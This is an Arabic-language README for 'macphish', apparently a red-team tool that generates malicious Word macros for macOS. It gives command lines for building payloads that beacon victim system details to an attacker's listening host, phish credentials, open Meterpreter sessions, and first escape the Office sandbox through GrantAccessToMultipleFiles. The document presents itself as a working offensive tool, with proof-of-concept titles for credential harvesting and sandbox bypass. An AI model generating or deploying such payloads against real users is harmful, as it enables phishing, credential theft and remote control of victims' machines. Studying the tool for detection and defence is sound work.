macphish

مولّد حمولة ماكرو لـ Office على Mac

نواقل الهجوم

هناك 4 نواقل هجوم متاحة:

• beacon
• creds
• meterpreter
• meterpreter-grant

بالنسبة لطريقة 'creds'، يمكن لـ macphish توليد سكريبت Applescript مباشرة، في حال احتجت لتشغيله من شل.

beacon

عند التنفيذ، ستقوم هذه الحمولة بإرسال إشارة إلى المضيف المستمع لدينا وتوفير معلومات أساسية عن النظام الخاص بالضحية. أبسط طريقة لتوليد حمولة beacon هي:

$./macphish.py -lh <listening host> 

افتراضيًا، يستخدم curl لكن يمكن استخدام أدوات أخرى (wget, nslookup) عن طريق تعديل قالب الأمر.

creds

$./macphish.py -lh <listening host> -lp <listening port> -a creds

meterpreter

أبسط طريقة لتوليد حمولة meterpreter هي:

$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter 

meterpreter-grant

لتوليد حمولة meterpreter تستدعي GrantAccessToMultipleFiles() أولاً:

$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter-grant

بالنسبة لهجمات meterpreter، فقط حمولات python مدعومة في الوقت الحالي.

الاستخدام

انظر https://github.com/cldrn/macphish/wiki/Usage

إثباتات المفهوم

• تجنب الصندوق الرملي باستخدام GrantAccessToMultipleFiles في Word على Mac
• إثبات مفهوم للصلاحيات العالمية والتكرارية - ماكرو خبيث لـ Word على macOS
• تنفيذ Meterpreter في Office For Mac باستخدام الماكرو
• جمع بيانات الاعتماد (التصيد) باستخدام ماكرو Word على macOS